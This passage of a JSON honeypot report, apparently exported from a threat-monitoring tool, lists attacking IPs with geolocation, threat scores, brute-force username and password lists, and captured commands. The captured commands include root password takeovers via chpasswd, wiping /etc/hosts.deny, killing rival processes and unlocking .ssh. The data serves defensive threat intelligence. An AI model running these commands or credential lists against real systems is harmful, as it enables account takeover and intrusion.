        "pool",
        "solana",
        "validator",
        "sol"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.1,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 808,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T13:56:17.107000+00:00",
        "last_seen_30d": "2026-04-15T09:35:47.791000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 533,
        "Suricata": 275
      }
    },
    "116.110.14.97": {
      "attack_count": 442,
      "first_seen": "2026-04-29T03:40:42.602Z",
      "last_seen": "2026-04-29T04:06:28.640Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "user",
        "monitor",
        "ace",
        "admian",
        "anton",
        "backup",
        "belkinstyle",
        "btf",
        "carol",
        "cf1c22",
        "cisco",
        "client",
        "db2inst2",
        "demo",
        "developer",
        "dubai",
        "ftpuser"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "123456",
        "admin123",
        "1111",
        "111111",
        "112233",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "1234567890%*()",
        "321start",
        "72ca06",
        "91482d",
        "?",
        "@",
        "OkwKcECs8qJP2Z",
        "abc123",
        "abcd1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 41.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 646,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T03:40:42.602000+00:00",
        "last_seen_30d": "2026-04-29T04:07:34.678000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 442,
        "Suricata": 204
      }
    },
    "171.243.151.49": {
      "attack_count": 432,
      "first_seen": "2026-04-22T01:11:16.715Z",
      "last_seen": "2026-04-22T01:48:51.698Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ftp",
        "ubnt",
        "user",
        "123456",
        "ace",
        "admian",
        "anton",
        "ashish",
        "cf1c22",
        "config",
        "db2inst2",
        "demo",
        "developer",
        "dubai",
        "ftpuser",
        "help",
        "install",
        "joggler"
      ],
      "passwords_attempted": [
        "admin",
        "0l0ctyQh243O63uD",
        "12345",
        "123456",
        "12345678",
        "abc123",
        "password",
        "0987654321",
        "1",
        "1111",
        "112233",
        "123",
        "1234",
        "123456789",
        "Deadstar!",
        "P@ssw0rd",
        "ace",
        "admin123",
        "administrator",
        "anton"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 31.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 612,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T01:11:16.715000+00:00",
        "last_seen_30d": "2026-04-22T01:49:56.517000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 432,
        "Suricata": 180
      }
    },
    "202.188.47.41": {
      "attack_count": 404,
      "first_seen": "2026-04-02T19:28:26.864Z",
      "last_seen": "2026-04-27T17:56:48.386Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "012024",
        "08642",
        "12345qwert12345",
        "1234asdf",
        "123admin***",
        "1QW23ER45T",
        "Abc123abc",
        "Crystal2025",
        "D4v1d2024.",
        "Kong@2024",
        "Qwerty4esz",
        "Rejuve20242024!",
        "Support@123",
        "Z!A!Q!",
        "Zxcvbnm",
        "[john]",
        "a123123",
        "aaAA11!!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1kYs11beOgN1\"|chpasswd|bash",
        "echo \"root:77K5auzuPSOb\"|chpasswd|bash",
        "echo \"root:UgoxWhghT5Iy\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Cheras",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 54.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 511,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T19:28:26.864000+00:00",
        "last_seen_30d": "2026-04-27T17:57:49.975000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 404,
        "Suricata": 107
      }
    },
    "200.77.172.159": {
      "attack_count": 398,
      "first_seen": "2026-04-15T23:44:50.188Z",
      "last_seen": "2026-04-16T00:25:16.915Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aj",
        "dev",
        "blog",
        "bot",
        "deelip",
        "odoo",
        "postgres",
        "sammy",
        "sara",
        "shop",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12qwer",
        "1qaz2wsx",
        "44332211",
        "@Aa123456",
        "Abcd1!@",
        "Bot$",
        "Dev02!",
        "Dev23",
        "Odoo18",
        "Pa$$w0rd12345",
        "Qaz123",
        "Qwerty123456_",
        "Root12345",
        "Sammy2025!@#",
        "Ucloud.cn",
        "deelip123",
        "linux@2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nLDpRg9dpUkZD\\nLDpRg9dpUkZD\\n\"|passwd",
        "echo \"root:Tnqg7nfZpkaR\"|chpasswd|bash",
        "echo \"root:mgvC9YjLAMDe\"|chpasswd|bash",
        "echo \"root:nOBw5QMyTETg\"|chpasswd|bash",
        "echo -e \"123456\\nLDpRg9dpUkZD\\nLDpRg9dpUkZD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": null,
      "asn": 28548,
      "as_org": "Cablevision, S.A. de C.V.",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 471,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T23:44:50.188000+00:00",
        "last_seen_30d": "2026-04-16T00:26:20.605000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 398,
        "Suricata": 73
      }
    },
    "103.191.92.72": {
      "attack_count": 372,
      "first_seen": "2026-04-02T08:32:01.875Z",
      "last_seen": "2026-04-02T09:46:49.406Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx3edc",
        "...asd123",
        "123123123a",
        "123456123456",
        "1234qwerasdf",
        "303030",
        "AA123456-",
        "Cloud@2026",
        "S1mt4st1c_Admin",
        "admin1234@.",
        "chat",
        "dnflskfk",
        "lst123",
        "off",
        "q1w2e3r4!@#$",
        "qazQAZ123",
        "qazwsx123@#",
        "robin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:BMQCNIOJYUJS\"|chpasswd|bash",
        "echo \"root:CjseaHvF0v7x\"|chpasswd|bash",
        "echo \"root:JEAQW9K0ohMo\"|chpasswd|bash",
        "echo \"root:uEZL8RRM8Klp\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:32:01.875000+00:00",
        "last_seen_30d": "2026-04-02T09:47:56.551000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 372,
        "Suricata": 67
      }
    },
    "203.145.34.82": {
      "attack_count": 332,
      "first_seen": "2026-04-06T23:06:18.169Z",
      "last_seen": "2026-04-06T23:50:28.292Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "eversec",
        "ftpuser1",
        "postgres",
        "test",
        "testuser",
        "ubuntu",
        "admin",
        "dci",
        "ftpuser",
        "gits",
        "jerry",
        "long",
        "server",
        "user",
        "user2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1111",
        "1010",
        "111222",
        "123123",
        "12344321",
        "123456",
        "KcP1e@%B#zRp3X8",
        "P@ssword",
        "Passw0rd!@#",
        "Postgres12!",
        "QWERTYUIO",
        "Yk123456",
        "a12345678",
        "aa12345678",
        "dci",
        "jerry123",
        "long",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1111\\npOi8zmtjIMlz\\npOi8zmtjIMlz\\n\"|passwd",
        "echo \"KcP1e@%B#zRp3X8\\ngQyBpzP2Iu3s\\ngQyBpzP2Iu3s\\n\"|passwd",
        "echo \"password\\nw7ypI8g6GjjA\\nw7ypI8g6GjjA\\n\"|passwd",
        "echo -e \"1111\\npOi8zmtjIMlz\\npOi8zmtjIMlz\"|passwd|bash",
        "echo -e \"KcP1e@%B#zRp3X8\\ngQyBpzP2Iu3s\\ngQyBpzP2Iu3s\"|passwd|bash",
        "echo -e \"password\\nw7ypI8g6GjjA\\nw7ypI8g6GjjA\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 403,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T23:06:18.169000+00:00",
        "last_seen_30d": "2026-04-06T23:51:34.858000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 71
      }
    },
    "185.181.10.136": {
      "attack_count": 330,
      "first_seen": "2026-04-07T13:40:36.303Z",
      "last_seen": "2026-04-07T14:21:33.801Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "postgres",
        "aditya",
        "deploy",
        "finance",
        "front",
        "lixiang",
        "n8n",
        "oracle",
        "steam",
        "tableau",
        "testftp3",
        "usuario1",
        "vncuser",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123123Qwe",
        "123456",
        "12345Aa@",
        "1QAZ2wsx3edc",
        "Oracle14!",
        "Postgres05!",
        "Postgres06",
        "Qazwsx11111111..",
        "Qazwsx654321#$",
        "ZAQ!2wsx2025!",
        "aa123456!",
        "aditya",
        "finance",
        "frappe29",
        "front",
        "lixiang",
        "n8n2025!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"aa123456!\\n9e4ZA40fAWcC\\n9e4ZA40fAWcC\\n\"|passwd",
        "echo \"root:C8pQtL8yzhon\"|chpasswd|bash",
        "echo \"root:oRVeIgmEQVC0\"|chpasswd|bash",
        "echo -e \"aa123456!\\n9e4ZA40fAWcC\\n9e4ZA40fAWcC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 204548,
      "as_org": "Kamatera Inc",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 399,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T13:40:36.303000+00:00",
        "last_seen_30d": "2026-04-07T14:22:39.100000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 69
      }
    },
    "175.165.87.116": {
      "attack_count": 300,
      "first_seen": "2026-04-20T10:26:35.377Z",
      "last_seen": "2026-04-20T10:32:58.916Z",
      "sessions": 150,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 451,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T10:26:35.377000+00:00",
        "last_seen_30d": "2026-04-20T10:33:59.560000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 300,
        "Suricata": 151
      }
    },
    "43.155.40.91": {
      "attack_count": 263,
      "first_seen": "2026-04-05T08:04:44.124Z",
      "last_seen": "2026-04-05T09:04:52.470Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "joe",
        "odoo17",
        "ubuntu",
        "botuser",
        "dev",
        "exuser",
        "frappe",
        "n8n",
        "test",
        "tester",
        "user",
        "vpn",
        "vpnuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1111",
        "123456789",
        "123abc..",
        "3edc!QAZ",
        "A12345688",
        "Abcd1234@123",
        "Admin@4321",
        "Dev13",
        "Frappe21!",
        "Li123456",
        "N8n!@#",
        "P@ssWord",
        "Qazwsx11111!",
        "Root01@@",
        "User22",
        "a5202514",
        "aa1234",
        "admin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456789\\ngWgASYgeqoYJ\\ngWgASYgeqoYJ\\n\"|passwd",
        "echo \"test\\nE5wjN4UKxgnW\\nE5wjN4UKxgnW\\n\"|passwd",
        "echo -e \"123456789\\ngWgASYgeqoYJ\\ngWgASYgeqoYJ\"|passwd|bash",
        "echo -e \"test\\nE5wjN4UKxgnW\\nE5wjN4UKxgnW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T08:04:44.124000+00:00",
        "last_seen_30d": "2026-04-05T09:06:02.353000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 68
      }
    },
    "106.51.92.114": {
      "attack_count": 262,
      "first_seen": "2026-04-16T14:03:05.493Z",
      "last_seen": "2026-04-16T14:45:08.160Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "postgres",
        "steam",
        "debianuser",
        "ftpuser",
        "noc",
        "steam1",
        "sysadmin",
        "teamspeak",
        "testuser",
        "toto",
        "user",
        "yann"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123123",
        "123456",
        "123456zZ",
        "123459",
        "1234rewq",
        "1q2w!Q@W",
        "1qaz..",
        "1qazXSW@",
        "2026!@#",
        "@WSX1qaz",
        "Abc123@",
        "Aswdaswd456",
        "Letmein@123",
        "Password1",
        "Qazwsx000..",
        "Qazwsx888@@",
        "Teamspeak2026!",
        "User23!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"2026!@#\\njQqW5j44fC59\\njQqW5j44fC59\\n\"|passwd",
        "echo \"root:kcg01Iu63m1c\"|chpasswd|bash",
        "echo -e \"2026!@#\\njQqW5j44fC59\\njQqW5j44fC59\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24309,
      "as_org": "Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T14:03:05.493000+00:00",
        "last_seen_30d": "2026-04-16T14:46:16.914000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "72.240.125.133": {
      "attack_count": 262,
      "first_seen": "2026-04-17T07:20:36.252Z",
      "last_seen": "2026-04-17T07:59:22.341Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "ubuntu",
        "ali",
        "claude",
        "docker",
        "linkdood",
        "salma",
        "sammy",
        "steam",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1029384756",
        "123456",
        "BBaa112233",
        "Claude13!",
        "Ctyun@12345",
        "Ftpuser11",
        "P@ssw9rd",
        "Password@123",
        "QWERqwer123",
        "Qazwsx000$",
        "Qazwsx123456789!!",
        "Qwert2025",
        "Root54321#$",
        "Sammy01",
        "Secret2025!",
        "Temp123456",
        "abcd@1234",
        "ali26"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Ftpuser11\\nIxE9UT3JA91e\\nIxE9UT3JA91e\\n\"|passwd",
        "echo \"root:GIvgOVbJteJp\"|chpasswd|bash",
        "echo -e \"Ftpuser11\\nIxE9UT3JA91e\\nIxE9UT3JA91e\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Maumee",
      "asn": 13490,
      "as_org": "Buckeye Cablevision, Inc.",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T07:20:36.252000+00:00",
        "last_seen_30d": "2026-04-17T08:00:25.040000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 65
      }
    },
    "87.106.69.120": {
      "attack_count": 198,
      "first_seen": "2026-04-22T17:49:46.256Z",
      "last_seen": "2026-04-22T18:35:58.211Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "frappe",
        "odoo",
        "345gs5662d34",
        "admin1234",
        "appuser",
        "dev",
        "gitea",
        "kira",
        "sopuser",
        "steam"
      ],
      "passwords_attempted": [
        "1",
        "1234Qwert",
        "1QAZ2wsx..",
        "1qaz2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "4rfv$RFV",
        "830922",
        "A123456/",
        "Aa123123.",
        "Changeme_123",
        "Default2026",
